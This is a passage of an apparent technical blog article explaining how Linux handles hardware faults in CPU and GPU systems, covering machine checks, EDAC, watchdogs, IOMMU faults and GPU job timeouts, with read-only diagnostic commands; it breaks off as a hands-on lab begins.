/__u/substackcdn.com/image/fetch/$s_!0KDn!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5867e25e-274c-46b0-839f-e2ee79a204c6_4000x2880.png 1272w, /__u/substackcdn.com/image/fetch/$s_!0KDn!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5867e25e-274c-46b0-839f-e2ee79a204c6_4000x2880.png 1456w" sizes="100vw"><img src="/__u/substackcdn.com/image/fetch/$s_!0KDn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5867e25e-274c-46b0-839f-e2ee79a204c6_4000x2880.png" width="1456" height="1048" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5867e25e-274c-46b0-839f-e2ee79a204c6_4000x2880.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1048,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:783414,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://howtech.substack.com/i/209245192?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5867e25e-274c-46b0-839f-e2ee79a204c6_4000x2880.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="/__u/substackcdn.com/image/fetch/$s_!0KDn!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5867e25e-274c-46b0-839f-e2ee79a204c6_4000x2880.png 424w, /__u/substackcdn.com/image/fetch/$s_!0KDn!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5867e25e-274c-46b0-839f-e2ee79a204c6_4000x2880.png 848w, /__u/substackcdn.com/image/fetch/$s_!0KDn!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5867e25e-274c-46b0-839f-e2ee79a204c6_4000x2880.png 1272w, /__u/substackcdn.com/image/fetch/$s_!0KDn!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5867e25e-274c-46b0-839f-e2ee79a204c6_4000x2880.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><h2>2. Historical Background</h2><p>Fault tolerance in Linux did not start with GPUs. It started with mainframes and RAS (Reliability, Availability, Serviceability) engineering in the 1990s, where ECC memory and machine check exceptions were built for single-CPU x86 servers that needed to stay up for banking and telecom workloads. The kernel&#8217;s Machine Check Architecture support (<code>arch/x86/kernel/cpu/mce/</code>) dates back to the early 2000s, modeled directly on Intel&#8217;s and AMD&#8217;s MCA register banks. EDAC (<code>drivers/edac/</code>) followed shortly after as a way to expose memory-controller-level ECC scrubbing statistics to userspace, because MCA alone told you <em>that</em> something went wrong, not <em>where</em> in the DIMM topology.</p><p>The softlockup/hardlockup watchdog (<code>kernel/watchdog.c</code>) arrived later, in the mid-2000s, as multi-core systems made &#8220;a CPU silently stopped answering&#8221; a much more common and much harder to diagnose failure than &#8220;the machine rebooted.&#8221; It uses a per-CPU hrtimer plus, where available, the NMI-driven hardware performance counter watchdog, precisely because a CPU wedged with interrupts disabled will not respond to an ordinary timer interrupt.</p><p>The heterogeneous piece is the newest layer. As GPUs, TPUs, and other accelerators became first-class DMA-capable devices sharing the same physical memory bus and PCIe fabric as the CPU, two things had to be reconciled: the device&#8217;s own error-reporting mechanism (which the kernel does not control &#8212; it belongs to vendor firmware and the DRM/accelerator driver) and the IOMMU&#8217;s fault-reporting path, which <em>is</em> kernel-owned and generic across vendors (<code>drivers/iommu/</code>, <code>struct iommu_fault</code>). DRM&#8217;s scheduler TDR mechanism (<code>drivers/gpu/drm/scheduler/</code>) was added so a hung GPU job could be detected and the device reset without taking the whole kernel down &#8212; directly analogous to what the hardlockup watchdog does for CPUs, but implemented entirely in software because there is no MCA-equivalent hardware trap for &#8220;the GPU firmware stopped answering.&#8221;</p><h2>3. Systems-Level Problem</h2><p>The core problem is this: a parallel computation on a heterogeneous platform has multiple independent execution units, each with its own failure surface, running <em>asynchronously</em> relative to each other. A CPU thread blocking on a GPU kernel launch does not get a synchronous exception when that GPU kernel corrupts memory or hangs &#8212; the CPU thread is just waiting on a fence or a completion queue. This breaks the assumption most fault-handling code is built on: that a fault happens <em>in</em> the context that can be blamed for it and <em>at</em> the instruction that caused it.</p><p>Three failure classes matter, and Linux treats each differently:</p><ol><li><p><strong>Correctable errors</strong> &#8212; a single bit flip caught and fixed by ECC. The workload is unaffected, but if you don&#8217;t count these, you can&#8217;t predict when a DIMM or an HBM stack is about to fail outright. EDAC counts them, rasdaemon logs them, nothing else happens.</p></li><li><p><strong>Uncorrectable but recoverable errors</strong> &#8212; a multi-bit error the hardware can <em>detect</em> but not <em>fix</em>, localized to a specific physical page. On x86 this is a Software Recoverable Action Optional/Required (SRAO/SRAR) machine check. The kernel&#8217;s job is to isolate exactly that page (<code>memory_failure()</code> in <code>mm/memory-failure.c</code>, tagging the <code>struct page</code> with <code>PG_hwpoison</code>) and kill only the process that actually touches it &#8212; everything else on the machine keeps running.</p></li><li><p><strong>Fatal errors</strong> &#8212; the hardware cannot even tell you which page is bad, or the error is in a structure the kernel cannot survive without (kernel text, page tables). The only correct response is <code>panic()</code>, ideally with <code>kdump</code> capturing a crash image for postmortem.</p></li></ol><p>For a device like a GPU, there is a fourth practical category the CPU-centric MCA model doesn&#8217;t cover at all: <strong>the device stopped responding but issued no error</strong>. This is what DRM&#8217;s TDR and, more generally, a userspace heartbeat/watchdog pattern exist to catch.</p><h2>4. Linux Kernel Architecture</h2><p>Show Image</p><p>Four subsystems cooperate, each owning a distinct failure domain:</p><ul><li><p><strong>MCA / </strong><code>arch/x86/kernel/cpu/mce/</code> &#8212; owns CPU-detected hardware errors: ECC uncorrectable events on host DRAM, cache errors, interconnect errors. Delivered via the <code>#MC</code> exception (trap vector 18 on x86) or, for correctable errors, via a periodic poll timer (<code>mce_timer</code>) reading the MCA banks through MSRs.</p></li><li><p><strong>EDAC / </strong><code>drivers/edac/</code> &#8212; owns memory-controller-level scrubbing and topology (which DIMM, which rank, which channel). It is a <em>reporting</em> layer on top of hardware ECC, not a detection mechanism itself; it exposes counts and locations through <code>/sys/devices/system/edac/</code> and tracepoints.</p></li><li><p><code>kernel/watchdog.c</code> &#8212; owns &#8220;a CPU is alive but not scheduling.&#8221; It runs a per-CPU kernel thread fed by an hrtimer, and, on hardware that supports it, a hardware-perf-counter-driven NMI watchdog for the hardlockup case (an interrupts-disabled infinite loop that a plain timer interrupt can never preempt).</p></li><li><p><strong>The accelerator driver + IOMMU fault path</strong> &#8212; owns everything the device itself does. The IOMMU (<code>drivers/iommu/</code>) reports faulting DMA transactions through <code>struct iommu_fault</code> and a per-device fault queue (<code>iommu_report_device_fault()</code>); the DRM scheduler reports jobs that exceeded a timeout through <code>drm_sched_job_timedout()</code>, which triggers device-specific reset logic.</p></li></ul><p>None of these four talk to each other directly inside the kernel. What unifies them for a <em>parallel workload</em> is userspace: a runtime (CUDA/ROCm-equivalent, or your own orchestration layer) that consumes signals from all four &#8212; <code>SIGBUS</code> for hwpoison, netlink/tracepoint events for EDAC and MCE, <code>dmesg</code>/sysfs reset counters for GPU TDR &#8212; and decides how to keep the overall job alive.</p><h2>5. Internal Working</h2><p>Start with the CPU-detected case, because it is the most fully specified. Every logical CPU has a set of MCA banks, each covering a hardware unit (L1, L2, memory controller, interconnect). When an error is detected, the bank&#8217;s status register is latched with severity and address information, and, for an uncorrected error, the CPU raises <code>#MC</code>. The kernel&#8217;s <code>do_machine_check()</code> handler runs at the highest privilege, reads every bank across the affected CPUs (an MCE can be <em>broadcast</em> to all CPUs simultaneously if the error is global, e.g. a bus error), and hands each populated bank to the <strong>MCE decode chain</strong> &#8212; an <code>atomic_notifier_head</code> (<code>x86_mce_decoder_chain</code>) that lets subsystems like EDAC register a callback to translate a raw bank/address pair into &#8220;DIMM 2, channel 1, rank 0.&#8221; The core MCE code then classifies severity using <code>mce_severity()</code>: is this recoverable (a specific physical address is poisoned and only that page&#8217;s memory content is untrustworthy) or fatal (the error is in a location, such as kernel code, the kernel cannot simply route around)?</p><p>For a recoverable error, <code>do_machine_check()</code> calls into <code>memory_failure(pfn, flags)</code>. This function:</p><ol><li><p>Locks the page and determines what maps it (<code>page_mapping</code>, reverse-mapping via the RMAP subsystem).</p></li><li><p>Sets <code>PG_hwpoison</code> on the <code>struct page</code> so no future allocator ever hands this physical page out again.</p></li><li><p>Unmaps it from every process page table that references it, and delivers <code>SIGBUS</code> with <code>si_code = BUS_MCEERR_AR</code> (Action Required, meaning &#8220;you touched this page, deal with it now&#8221;) to any process actually accessing it at the time.</p></li><li><p>Leaves every other process on the machine completely untouched.</p></li></ol><p>For the CPU-liveness case, <code>kernel/watchdog.c</code> runs a per-CPU thread (<code>watchdog/N</code>) at a very high scheduling priority, fed by an hrtimer that fires roughly every <code>watchdog_thresh / 5</code> seconds. Each firing bumps a per-CPU counter the thread is expected to reset. If the counter goes stale past a softlockup threshold (default 20s), the kernel prints a stack trace and, depending on <code>kernel.softlockup_panic</code>, may treat it as fatal. If the NMI-driven hardlockup watchdog (built on a perf hardware counter overflowing at a fixed instruction/cycle count) detects that even NMIs aren&#8217;t reaching a CPU, that CPU is presumed truly wedged &#8212; the strongest signal short of a full ECC-driven panic.</p><p>For the device-side case, there is no <code>#MC</code>-equivalent trap, so the kernel relies on two independent software mechanisms. The IOMMU fault queue catches DMA transactions the device attempted that violate the IOMMU&#8217;s page tables (e.g., the device tried to write to an address the driver never mapped for it) and reports them through <code>iommu_report_device_fault()</code>, which the accelerator driver&#8217;s fault handler consumes to decide whether to reset the device&#8217;s translation context. Separately, DRM&#8217;s scheduler tracks every submitted job with a timer; if a job doesn&#8217;t complete within the configured timeout, <code>drm_sched_job_timedout()</code> fires, and the driver&#8217;s <code>.timedout_job</code> callback performs a device-specific reset (often resetting just the faulting engine, not the whole card) and resubmits or fails the remaining queued jobs.</p><h2>6. Step-by-Step Execution Flow</h2><h2>Github Link:</h2><p><a href="https://github.com/sysdr/howtech-p/tree/main/Fault_tolerance/fault-tolerant-demo">https://github.com/sysdr/howtech-p/tree/main/Fault_tolerance/fault-tolerant-demo</a></p><p></p><p></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="/__u/substackcdn.com/image/fetch/$s_!8lwP!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6ac30d73-eb23-4592-b465-4406559e5ffc_4000x4600.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="/__u/substackcdn.com/image/fetch/$s_!8lwP!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6ac30d73-eb23-4592-b465-4406559e5ffc_4000x4600.png 424w, /__u/substackcdn.com/image/fetch/$s_!8lwP!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6ac30d73-eb23-4592-b465-4406559e5ffc_4000x4600.png 848w, /__u/substackcdn.com/image/fetch/$s_!8lwP!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6ac30d73-eb23-4592-b465-4406559e5ffc_4000x4600.png 1272w, /__u/substackcdn.com/image/fetch/$s_!8lwP!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6ac30d73-eb23-4592-b465-4406559e5ffc_4000x4600.png 1456w" sizes="100vw"><img src="/__u/substackcdn.com/image/fetch/$s_!8lwP!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6ac30d73-eb23-4592-b465-4406559e5ffc_4000x4600.png" width="1456" height="1674" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6ac30d73-eb23-4592-b465-4406559e5ffc_4000x4600.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1674,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:845617,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://howtech.substack.com/i/209245192?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6ac30d73-eb23-4592-b465-4406559e5ffc_4000x4600.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="/__u/substackcdn.com/image/fetch/$s_!8lwP!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6ac30d73-eb23-4592-b465-4406559e5ffc_4000x4600.png 424w, /__u/substackcdn.com/image/fetch/$s_!8lwP!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6ac30d73-eb23-4592-b465-4406559e5ffc_4000x4600.png 848w, /__u/substackcdn.com/image/fetch/$s_!8lwP!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6ac30d73-eb23-4592-b465-4406559e5ffc_4000x4600.png 1272w, /__u/substackcdn.com/image/fetch/$s_!8lwP!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6ac30d73-eb23-4592-b465-4406559e5ffc_4000x4600.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><p>Show Image</p><ol><li><p>Hardware detects an anomaly &#8212; an ECC syndrome mismatch on a memory read, a parity error on a cache line, a DMA transaction outside a device&#8217;s mapped IOMMU range, or a device firmware watchdog timeout.</p></li><li><p><strong>CPU path:</strong> the MCA bank latches status + address, <code>#MC</code> is raised, <code>do_machine_check()</code> runs, walks the decode chain, classifies severity. <strong>Device path:</strong> the IOMMU raises a fault queue entry, or the DRM scheduler&#8217;s per-job timer expires.</p></li><li><p>Decision point: correctable (log via EDAC/tracepoint, continue), uncorrectable-recoverable (isolate one page or reset one device queue), or fatal (panic/kdump, or in the device case, a full device reset with all in-flight work lost).</p></li><li><p><strong>Success path:</strong> for memory, <code>memory_failure()</code> poisons the page and signals only the affected task; for a device, the driver resets the faulting context and the runtime resubmits the lost work unit from its last checkpoint.</p></li><li><p><strong>Error path:</strong> for a fatal CPU error, <code>panic()</code> triggers <code>kdump</code>&#8216;s second kernel to capture a crash image before reboot; for a device that won&#8217;t reset cleanly, the driver marks it offline and the orchestration layer (Kubernetes device plugin, Slurm, or your own scheduler) drains the node.</p></li><li><p>Userspace observability layer (rasdaemon, dmesg, sysfs counters) records the event regardless of path, closing the loop for capacity planning (predicting DIMM/HBM failure from correctable-error trend lines).</p></li></ol><h2>7. Kernel Data Structures</h2><p>c</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;8e629dd7-c98f-4d43-b761-5b668839b164&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">/* arch/x86/include/asm/mce.h &#8212; one MCA bank reading */
struct mce {
    __u64 status;      /* bank status: valid, uncorrected, poison, addr-valid bits */
    __u64 misc;
    __u64 addr;         /* physical address, if ADDRV bit set */
    __u64 mcgstatus;    /* global status: whether this MCE was broadcast */
    __u8  bank;          /* which MCA bank reported this */
    __u8  cpu;           /* logical CPU that observed it */
    /* ... severity, synd, ipid, and vendor-specific fields ... */
};

/* mm/memory-failure.c uses these page flags */
#define PG_hwpoison   /* page is known-bad; never reallocate */

/* drivers/edac/edac_device.h */
struct edac_device_ctl_info {
    struct bus_type *edac_class;
    struct edac_device_instance *instances; /* per-DIMM/per-rank topology */
    int (*edac_check)(struct edac_device_ctl_info *edac_dev);
    /* ... */
};

/* kernel/watchdog.c (conceptual &#8212; actual fields vary by kernel version) */
struct watchdog_device {
    unsigned int timeout;
    struct hrtimer hrtimer;
    unsigned long hard_watchdog_warn;
    /* per-CPU: last observed "I am alive" timestamp */
};

/* include/linux/iommu.h */
struct iommu_fault {
    __u32 type;          /* IOMMU_FAULT_DMA_UNRECOV or PAGE_REQ */
    union {
        struct iommu_fault_unrecoverable event;
        struct iommu_fault_page_request prm;
    };
};</code></pre></div><p>The recurring pattern worth internalizing: every one of these structures separates <em>identity</em> (which bank, which CPU, which device, which DIMM) from <em>classification</em> (correctable vs. uncorrectable, recoverable vs. fatal). Recovery code only ever acts on the classification; the identity fields exist purely for the observability/reporting path.</p><h2>8. CPU-Level Behaviour</h2><p>Machine checks interact with the CPU pipeline in a way that is easy to get wrong intuitively. An MCA bank can report an error that happened <em>speculatively</em> &#8212; for instance, a load that was executed out-of-order down a branch that ends up not being taken. If the CPU consumed a poisoned value from that speculative load into architectural state, that&#8217;s an SRAR (Software Recoverable &#8212; Action Required) event, and <code>#MC</code> fires synchronously at (approximately) the instruction that consumed it. If the CPU merely <em>detected</em> poison in a location during background scrubbing without any instruction actually consuming it yet, that&#8217;s SRAO (Action Optional) &#8212; the kernel can log it, poison the page proactively, and let execution continue, because nothing has actually read the bad data yet.</p><p>This distinction is why <code>memory_failure()</code> takes flags distinguishing <code>MF_ACTION_REQUIRED</code> from a background poisoning call: an AR error must interrupt and signal the <em>current</em> context because it already touched bad data (the instruction pointer at <code>#MC</code> time is meaningful), while an AO error is handled entirely out of band from any specific instruction stream.</p><p>Broadcast MCEs complicate this further: some errors (typically bus/interconnect errors visible to the whole system) are signaled to every logical CPU simultaneously via the local APIC&#8217;s MCE-broadcast mechanism, precisely because a single core cannot unilaterally decide &#8220;this is fatal&#8221; for an error that corrupted shared state &#8212; all CPUs must agree before <code>panic()</code> is called, which is why <code>mce_start()</code>/<code>mce_end()</code> implement a barrier-based rendezvous across CPUs during machine check handling.</p><h2>9. Performance Analysis</h2><p>The performance cost of this architecture is dominated by three things, none of them free:</p><ul><li><p><strong>EDAC scrubbing</strong> runs as a background memory-controller activity (hardware-driven, typically configurable in BIOS as a scrub rate). A too-aggressive scrub rate steals memory bandwidth from your workload; a too-passive one lets correctable errors accumulate into uncorrectable ones before you notice.</p></li><li><p><strong>The watchdog hrtimer</strong> fires on every CPU roughly every 4 seconds by default (<code>watchdog_thresh=20</code> &#8594; sampling period <code>4s</code>), which is negligible steady-state overhead but is a real consideration on latency-sensitive isolated cores (<code>isolcpus</code>/<code>nohz_full</code>), where you often deliberately disable the watchdog per-core to avoid <em>any</em> scheduled interrupt.</p></li><li><p><strong>DRM TDR timeouts</strong> trade detection latency against false-positive resets: a timeout too short kills legitimately long-running kernels (common in ML training with large fused ops); too long, and a genuinely hung device sits unusably idle, silently stalling the whole job that&#8217;s waiting on its fence, for the full timeout window.</p></li></ul><p>The dominant cost for heterogeneous <em>parallel</em> workloads specifically, though, is checkpoint granularity, not any single kernel mechanism above. If your fault domain is &#8220;one GPU out of 512,&#8221; but your checkpoint interval is coarse (say, every 30 minutes of training), the expected wasted compute per fault is <code>(fault_rate) &#215; (avg_time_since_last_checkpoint) &#215; (nodes_in_sync_group)</code> &#8212; and in synchronous data-parallel training, the whole sync group stalls waiting for the one lost worker to be replaced, not just that worker.</p><h2>10. Debugging Techniques</h2><p>bash</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:&quot;c630b70b-24bd-48c5-8d3c-e34e408e0f27&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext"># EDAC: current correctable/uncorrectable counts per memory controller
cat /sys/devices/system/edac/mc/mc0/ce_count
cat /sys/devices/system/edac/mc/mc0/ue_count

# rasdaemon: the standard userspace consumer of MCE/EDAC tracepoints
sudo rasdaemon --record
ras-mc-ctl --summary

# Live MCE tracepoint stream (works even without rasdaemon running)
sudo trace-cmd stream -e mce:mce_record

# Kernel log for hardlockup/softlockup stack dumps
dmesg -T | grep -i -E "soft lockup|hard lockup|NMI watchdog"

# GPU driver reset counters (path varies by vendor; AMDGPU example)
cat /sys/kernel/debug/dri/0/amdgpu_gpu_recover

# IOMMU fault visibility via ftrace
echo 1 &gt; /sys/kernel/debug/tracing/events/iommu/enable
cat /sys/kernel/debug/tracing/trace

# Verify current watchdog configuration
sysctl kernel.watchdog kernel.watchdog_thresh kernel.softlockup_panic kernel.nmi_watchdog</code></pre></div><p>The single most useful triage habit: when a heterogeneous job dies mysteriously, check EDAC counts <em>before</em> assuming it was a software bug. A steadily climbing <code>ce_count</code> on one DIMM over days, followed by a job crash, is a hardware failure wearing a software costume.</p><h2>11. Production Failure Scenarios</h2><p><strong>Watchdog starvation under RT priority inversion.</strong> The hardlockup watchdog&#8217;s NMI path is immune to scheduling, but the <em>softlockup</em> thread is an ordinary (if high-priority) kernel thread. On systems running SCHED_FIFO/SCHED_DEADLINE workloads at very high priority without proper <code>RLIMIT</code>/cgroup bandwidth throttling, the watchdog thread can be starved long enough to itself trigger a false softlockup report &#8212; the fix is either <code>sched_rt_runtime_us</code> throttling or moving the watchdog off cores dedicated to RT work via <code>isolcpus</code>.</p><p><strong>ECC scrubbing silently disabled.</strong> A depressingly common one: a BIOS update or a &#8220;performance&#8221; BIOS profile disables background patrol scrubbing to shave memory latency. Correctable errors then accumulate undetected until they become uncorrectable, at which point you get a fatal MCE with no warning history &#8212; because EDAC only reports what the hardware scrubber actually found.</p><p><strong>IOMMU fault storms.</strong> A buggy device driver or misconfigured DMA mapping can generate thousands of IOMMU faults per second. Because each fault triggers <code>iommu_report_device_fault()</code> and a queue wakeup, this can itself become a denial-of-service against the host CPU handling the fault queue &#8212; the practical mitigation is fault-queue rate limiting in the driver and treating repeated faults from the same device as a signal to proactively reset rather than log-and-continue.</p><p><strong>Checkpoint granularity mismatch.</strong> Treating a recoverable single-page hwpoison event (which by design only affects one process) as if it required restarting an entire synchronized parallel job. The correct response, at the orchestration layer, is to catch <code>SIGBUS</code> with <code>si_code == BUS_MCEERR_AR</code>, and restart <em>only</em> the affected rank from its last checkpoint while the rest of the synchronous group waits, rather than tearing down the whole job.</p><h2>Working demo Link:</h2><div id="youtube2-KPq2mQf2f0M" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;KPq2mQf2f0M&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/KPq2mQf2f0M?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><h2>12. Real-World Production Use Cases</h2><p>Hyperscale ML training clusters are the sharpest example of this stack in production: with thousands of GPUs running for weeks, the <em>expected number</em> of correctable ECC events, IOMMU faults, and individual GPU resets across the fleet during a single training run is not zero &#8212; it is a predictable statistical rate, and the training framework&#8217;s checkpoint/elastic-restart logic (rank replacement without restarting the whole job) is built directly on top of exactly the <code>SIGBUS</code>/reset-notification primitives described above. Cloud providers run EDAC + rasdaemon fleet-wide specifically to <em>predict</em> DIMM failure from correctable-error trend lines and proactively drain a node before it produces an uncorrectable, job-killing error &#8212; turning a reactive fault-tolerance mechanism into a proactive maintenance signal.</p><h2>13. Hands-on Lab</h2><p>We cannot safely load real EDAC/MCE kernel code or trigger genuine IOMMU faults inside a generic sandbox &#8212; those require specific hardware and root-level kernel module access. Instead, this lab builds a <strong>faithful userspace model</strong> of the exact same architecture, so every concept above maps 1:1 onto working code you can run right now.</p><p>The demo, generated entirely by <code>startup.sh</code>, implements:</p><ul><li><p>A <strong>supervisor</strong> process modeling the kernel&#8217;s MCE decode chain + watchdog core.</p></li><li><p>Several <strong>worker</strong> 